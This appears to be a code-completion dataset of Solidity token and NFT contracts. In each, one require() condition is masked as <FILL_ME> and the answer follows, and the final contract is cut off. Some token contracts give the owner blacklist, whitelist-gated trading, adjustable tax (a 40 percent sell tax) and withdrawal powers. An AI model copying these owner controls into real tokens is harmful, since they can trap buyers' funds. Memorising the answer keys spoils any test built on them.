abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract CryptoUnderground is Context, IERC20, IERC20Metadata, Ownable {
uint256 private constant MAX = ~uint256(0);
uint256 private _rTotalSupply; // total supply in r-space
uint256 private immutable _tTotalSupply; // total supply in t-space
string private _name;
string private _symbol;
address[] private _excludedFromReward;
uint256 public taxFee = 4; // 4 => 4%
uint256 public totalFees;
mapping(address => uint256) private _rBalances; // balances in r-space
mapping(address => uint256) private _tBalances; // balances in t-space
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromReward;
mapping(address => bool) private whitelist;
mapping(address => bool) public bots;
bool public tradingActive = false;
event SetFee(uint256 value);
constructor(address owner_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address account,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
}
function setFee(uint256 newTxFee) public onlyOwner {
}
function enableTrading() external onlyOwner {
}
function excludeFromReward(address account) public onlyOwner {
}
function includeInReward(address account) public onlyOwner {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function withdrawTokens(
address tokenAddress,
address receiverAddress
) external onlyOwner returns (bool success) {
}
function isWhiteListed(address account) public view returns (bool) {
}
function removeWhitelist(address account) public onlyOwner() {
}
function setWhitelist(address[] memory whitelist_) public onlyOwner() {
}
function blackListAddress(address[] memory bots_) public onlyOwner {
}
function unblockBlackList(address notbot) public onlyOwner {
}
function _getRate() private view returns (uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()){
require(!bots[from] && !bots[to], "Your account is blacklisted!");
if(!tradingActive){
require(<FILL_ME>)
}
}
uint256 _taxFee;
if (isExcludedFromFee[from] || isExcludedFromFee[to]) {
_taxFee = 0;
} else {
_taxFee = taxFee;
}
// calc t-values
uint256 tAmount = amount;
uint256 tTxFee = (tAmount * _taxFee) / 100;
uint256 tTransferAmount = tAmount - tTxFee;
// calc r-values
uint256 rate = _getRate();
uint256 rTxFee = tTxFee * rate;
uint256 rAmount = tAmount * rate;
uint256 rTransferAmount = rAmount - rTxFee;
// check balances
uint256 rFromBalance = _rBalances[from];
uint256 tFromBalance = _tBalances[from];
if (isExcludedFromReward[from]) {
require(
tFromBalance >= tAmount,
"ERC20: transfer amount exceeds balance"
);
} else {
require(
rFromBalance >= rAmount,
"ERC20: transfer amount exceeds balance"
);
}
// Overflow not possible: the sum of all balances is capped by
// rTotalSupply and tTotalSupply, and the sum is preserved by
// decrementing then incrementing.
unchecked {
// udpate balances in r-space
_rBalances[from] = rFromBalance - rAmount;
_rBalances[to] += rTransferAmount;
// update balances in t-space
if (isExcludedFromReward[from] && isExcludedFromReward[to]) {
_tBalances[from] = tFromBalance - tAmount;
_tBalances[to] += tTransferAmount;
} else if (
isExcludedFromReward[from] && !isExcludedFromReward[to]
) {
// could technically underflow but because tAmount is a
// function of rAmount and _rTotalSupply == _tTotalSupply
// it won't
_tBalances[from] = tFromBalance - tAmount;
} else if (
!isExcludedFromReward[from] && isExcludedFromReward[to]
) {
// could technically overflow but because tAmount is a
// function of rAmount and _rTotalSupply == _tTotalSupply
// it won't
_tBalances[to] += tTransferAmount;
}
// reflect fee
// can never go below zero because rTxFee percentage of
// current _rTotalSupply
_rTotalSupply = _rTotalSupply - rTxFee;
totalFees += tTxFee;
}
emit Transfer(from, to, tTransferAmount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(
address account,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address account,
address spender,
uint256 amount
) internal virtual {
}
}
| whitelist[from]||whitelist[to]||whitelist[msg.sender] | 70,302 | whitelist[from]||whitelist[to]||whitelist[msg.sender] |
"Exceeds maximum Froge supply" | // SPDX-License-Identifier: MIT
// .....,/,,,,
// .....@@@%%,,/*,,,,,, .,...............,,,,
// ..#&@@@/,..%,/////*,,,,,,.,%%&&&%%%#####((((((.,,,,,,
// ..##%#,, ,,,/////////((((##...&@@.../(///////////.,,,
// ,,./((#,, .,,,/////////////((,%@@@@@.. #.//////////////*,***
// ...((.../(,,,,///////////////,%##%.... ....////////////////,,*
// ....%(((((//////////////////////,(###.., ,..//////////////////****
// ....%(((((////////////////////////*.((((/,,,,../////////////////////***
// ...%((((((////////////////////////////.......,/////////////////////////****
//...%%(((((/////////////////////////////////////////////////////////////////**/
//,.#%((((////////////*///////////////////////////////////////////////////////**
//..#((((//////************/*/***//**/*****/////////////////*//////////////////**
//..#(((*///*********************************************///////////////////////**
//,.#((////****.*********************************************////////////////////*
//...(////**************************************************/*////////////////////
// ..///*****************************************************////////////////////
// ..*******************************************************//////////////////*
// ..***********************************,************************//////////*
// ..(,...**************************,,,*,,********,,************//////**///*
// ..((((/(,......................,///((((*...,,,,,,,,********************,
// ...((((////////////////(((((((((((((((((((((.,,,,,,********************
// ...////((((((((((((((((((((((((((((((((((((,.,,,,,******************
// ..////////////(((((((((((((((((((((/((((((((((.*,******************
// .,//////***////////////////////(((((((((((((((((#.,****************
// ,.////////////********////////((((((((((((((((((#####...************
// ....///////////////////////////////(((((((((((((#########.************
// ,,...//////////////////////////////((((((((((((##(((((((((.,**********,
// ..,.,////////////////////(((((((((((((((((((((((((((((((((*.**********,
// ..,,.***///////////////////(((((((((((((((((((((((((((((((((.**********,
// ,,,,,.****////////////////////////////(((((((((((((((((((((((..********,,
// ,.,,,.********//////////////////////////////////////(((((((((,...,***,.,,
// ,,.,,,..**********/////////****************///////*...,...******..******.,,
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract FrogeNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant FROGE_SUPPLY = 690;
uint256 public constant PRICE = 0.05 ether;
uint256 public marketingSupply = 25;
address public safeAddress;
string private _metaBaseUri = "";
constructor(address _safeAddress, string memory baseURI) Ownable(msg.sender) ERC721("Froge NFTs", "FROGE") {
}
function mint(uint16 numberOfTokens) public payable {
require(<FILL_ME>)
require(numberOfTokens<=5, "Max mint per transaction is 5" );
require(PRICE * numberOfTokens <= msg.value, "Ether amount sent is incorrect");
_mintTokens(msg.sender, numberOfTokens);
}
function mintMarketing(uint16 numberOfTokens) public onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function _mintTokens(address owner, uint16 numberOfTokens) internal {
}
function _baseURI() override internal view returns (string memory) {
}
}
| totalSupply()+numberOfTokens<=(FROGE_SUPPLY-marketingSupply),"Exceeds maximum Froge supply" | 70,386 | totalSupply()+numberOfTokens<=(FROGE_SUPPLY-marketingSupply) |
"Exceeds maximum Froge supply" | // SPDX-License-Identifier: MIT
// .....,/,,,,
// .....@@@%%,,/*,,,,,, .,...............,,,,
// ..#&@@@/,..%,/////*,,,,,,.,%%&&&%%%#####((((((.,,,,,,
// ..##%#,, ,,,/////////((((##...&@@.../(///////////.,,,
// ,,./((#,, .,,,/////////////((,%@@@@@.. #.//////////////*,***
// ...((.../(,,,,///////////////,%##%.... ....////////////////,,*
// ....%(((((//////////////////////,(###.., ,..//////////////////****
// ....%(((((////////////////////////*.((((/,,,,../////////////////////***
// ...%((((((////////////////////////////.......,/////////////////////////****
//...%%(((((/////////////////////////////////////////////////////////////////**/
//,.#%((((////////////*///////////////////////////////////////////////////////**
//..#((((//////************/*/***//**/*****/////////////////*//////////////////**
//..#(((*///*********************************************///////////////////////**
//,.#((////****.*********************************************////////////////////*
//...(////**************************************************/*////////////////////
// ..///*****************************************************////////////////////
// ..*******************************************************//////////////////*
// ..***********************************,************************//////////*
// ..(,...**************************,,,*,,********,,************//////**///*
// ..((((/(,......................,///((((*...,,,,,,,,********************,
// ...((((////////////////(((((((((((((((((((((.,,,,,,********************
// ...////((((((((((((((((((((((((((((((((((((,.,,,,,******************
// ..////////////(((((((((((((((((((((/((((((((((.*,******************
// .,//////***////////////////////(((((((((((((((((#.,****************
// ,.////////////********////////((((((((((((((((((#####...************
// ....///////////////////////////////(((((((((((((#########.************
// ,,...//////////////////////////////((((((((((((##(((((((((.,**********,
// ..,.,////////////////////(((((((((((((((((((((((((((((((((*.**********,
// ..,,.***///////////////////(((((((((((((((((((((((((((((((((.**********,
// ,,,,,.****////////////////////////////(((((((((((((((((((((((..********,,
// ,.,,,.********//////////////////////////////////////(((((((((,...,***,.,,
// ,,.,,,..**********/////////****************///////*...,...******..******.,,
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract FrogeNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant FROGE_SUPPLY = 690;
uint256 public constant PRICE = 0.05 ether;
uint256 public marketingSupply = 25;
address public safeAddress;
string private _metaBaseUri = "";
constructor(address _safeAddress, string memory baseURI) Ownable(msg.sender) ERC721("Froge NFTs", "FROGE") {
}
function mint(uint16 numberOfTokens) public payable {
}
function mintMarketing(uint16 numberOfTokens) public onlyOwner {
require(<FILL_ME>)
require(numberOfTokens <= marketingSupply, "Max mint per transaction is 25" );
_mintTokens(safeAddress, numberOfTokens);
marketingSupply -= numberOfTokens;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function _mintTokens(address owner, uint16 numberOfTokens) internal {
}
function _baseURI() override internal view returns (string memory) {
}
}
| totalSupply()+numberOfTokens<=FROGE_SUPPLY,"Exceeds maximum Froge supply" | 70,386 | totalSupply()+numberOfTokens<=FROGE_SUPPLY |
null | // SPDX-License-Identifier: MIT
// .....,/,,,,
// .....@@@%%,,/*,,,,,, .,...............,,,,
// ..#&@@@/,..%,/////*,,,,,,.,%%&&&%%%#####((((((.,,,,,,
// ..##%#,, ,,,/////////((((##...&@@.../(///////////.,,,
// ,,./((#,, .,,,/////////////((,%@@@@@.. #.//////////////*,***
// ...((.../(,,,,///////////////,%##%.... ....////////////////,,*
// ....%(((((//////////////////////,(###.., ,..//////////////////****
// ....%(((((////////////////////////*.((((/,,,,../////////////////////***
// ...%((((((////////////////////////////.......,/////////////////////////****
//...%%(((((/////////////////////////////////////////////////////////////////**/
//,.#%((((////////////*///////////////////////////////////////////////////////**
//..#((((//////************/*/***//**/*****/////////////////*//////////////////**
//..#(((*///*********************************************///////////////////////**
//,.#((////****.*********************************************////////////////////*
//...(////**************************************************/*////////////////////
// ..///*****************************************************////////////////////
// ..*******************************************************//////////////////*
// ..***********************************,************************//////////*
// ..(,...**************************,,,*,,********,,************//////**///*
// ..((((/(,......................,///((((*...,,,,,,,,********************,
// ...((((////////////////(((((((((((((((((((((.,,,,,,********************
// ...////((((((((((((((((((((((((((((((((((((,.,,,,,******************
// ..////////////(((((((((((((((((((((/((((((((((.*,******************
// .,//////***////////////////////(((((((((((((((((#.,****************
// ,.////////////********////////((((((((((((((((((#####...************
// ....///////////////////////////////(((((((((((((#########.************
// ,,...//////////////////////////////((((((((((((##(((((((((.,**********,
// ..,.,////////////////////(((((((((((((((((((((((((((((((((*.**********,
// ..,,.***///////////////////(((((((((((((((((((((((((((((((((.**********,
// ,,,,,.****////////////////////////////(((((((((((((((((((((((..********,,
// ,.,,,.********//////////////////////////////////////(((((((((,...,***,.,,
// ,,.,,,..**********/////////****************///////*...,...******..******.,,
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract FrogeNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant FROGE_SUPPLY = 690;
uint256 public constant PRICE = 0.05 ether;
uint256 public marketingSupply = 25;
address public safeAddress;
string private _metaBaseUri = "";
constructor(address _safeAddress, string memory baseURI) Ownable(msg.sender) ERC721("Froge NFTs", "FROGE") {
}
function mint(uint16 numberOfTokens) public payable {
}
function mintMarketing(uint16 numberOfTokens) public onlyOwner {
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function setMetaBaseURI(string memory baseURI) external onlyOwner {
}
function withdrawAll() external onlyOwner {
uint256 _balance = address(this).balance;
require(<FILL_ME>)
}
function _mintTokens(address owner, uint16 numberOfTokens) internal {
}
function _baseURI() override internal view returns (string memory) {
}
}
| payable(safeAddress).send(_balance) | 70,386 | payable(safeAddress).send(_balance) |
"All NFTS sold out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract motionNFTG is ERC721, Ownable, ReentrancyGuard {
string internal baseTokenUri;
uint256 public Price;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnabled;
address payable public withdrawWallet;
mapping(address => uint256) public walletMints;
constructor() payable ERC721("MOTION NFT", "MGOLD") ReentrancyGuard() {
}
function setIsPublicMintEnabled(
bool isPublicMintEnabled_
) external onlyOwner {
}
function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner {
}
modifier onlyAccounts() {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setTotalSupply(uint256 _totalSupply) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _qty) external onlyOwner {
}
function tokenURI(
uint256 tokenId_
) public view virtual override returns (string memory) {
}
function withdrawAll() external payable onlyOwner {
}
function mint(uint256 _qty) public payable onlyAccounts {
require(isPublicMintEnabled, "Minting not enabled");
require(msg.value == Price * _qty, "Wrong mint value");
require(<FILL_ME>)
require(
walletMints[msg.sender] + _qty <= maxPerWallet,
"exceed per wallet limit"
);
for (uint256 i = 0; i < 1; i++) {
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
}
| totalSupply+_qty<=maxSupply,"All NFTS sold out" | 70,387 | totalSupply+_qty<=maxSupply |
"exceed per wallet limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract motionNFTG is ERC721, Ownable, ReentrancyGuard {
string internal baseTokenUri;
uint256 public Price;
uint256 public totalSupply;
uint256 public maxSupply;
uint256 public maxPerWallet;
bool public isPublicMintEnabled;
address payable public withdrawWallet;
mapping(address => uint256) public walletMints;
constructor() payable ERC721("MOTION NFT", "MGOLD") ReentrancyGuard() {
}
function setIsPublicMintEnabled(
bool isPublicMintEnabled_
) external onlyOwner {
}
function setBaseTokenUri(string calldata baseTokenUri_) external onlyOwner {
}
modifier onlyAccounts() {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setTotalSupply(uint256 _totalSupply) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMintPerWallet(uint256 _qty) external onlyOwner {
}
function tokenURI(
uint256 tokenId_
) public view virtual override returns (string memory) {
}
function withdrawAll() external payable onlyOwner {
}
function mint(uint256 _qty) public payable onlyAccounts {
require(isPublicMintEnabled, "Minting not enabled");
require(msg.value == Price * _qty, "Wrong mint value");
require(totalSupply + _qty <= maxSupply, "All NFTS sold out");
require(<FILL_ME>)
for (uint256 i = 0; i < 1; i++) {
uint256 newTokenId = totalSupply + 1;
totalSupply++;
_safeMint(msg.sender, newTokenId);
}
}
}
| walletMints[msg.sender]+_qty<=maxPerWallet,"exceed per wallet limit" | 70,387 | walletMints[msg.sender]+_qty<=maxPerWallet |
"TOKEN: Balance exceeds wallet size!" | /*
Telegram : https://t.me/whatzittooyaerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WHATZITTOOYA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "What Zit Tooya";
string private constant _symbol = "WHATZITTOOYA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _totalFee;
uint256 private _reflectionFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _reflectionFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousInitFee = _reflectionFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _devWallet = payable(0x67E1E55E69eDEf00d1fe5DC83E4637206EDD0bD0);
address payable private _marketingWallet = payable(0x67E1E55E69eDEf00d1fe5DC83E4637206EDD0bD0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool private openTrading = false;
uint256 public _maxTx = 20000000 * 10**9;
uint256 public _maxWallet = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTx);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!openTrading) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTx, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTx)
{
contractTokenBalance = _maxTx;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _openTrading) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setTax(uint256 initOnBuy, uint256 initOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function noMaxWallet() public onlyOwner {
}
}
| balanceOf(to)+amount<_maxWallet,"TOKEN: Balance exceeds wallet size!" | 70,389 | balanceOf(to)+amount<_maxWallet |
null | /*
Telegram : https://t.me/whatzittooyaerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WHATZITTOOYA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "What Zit Tooya";
string private constant _symbol = "WHATZITTOOYA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _totalFee;
uint256 private _reflectionFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _reflectionFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
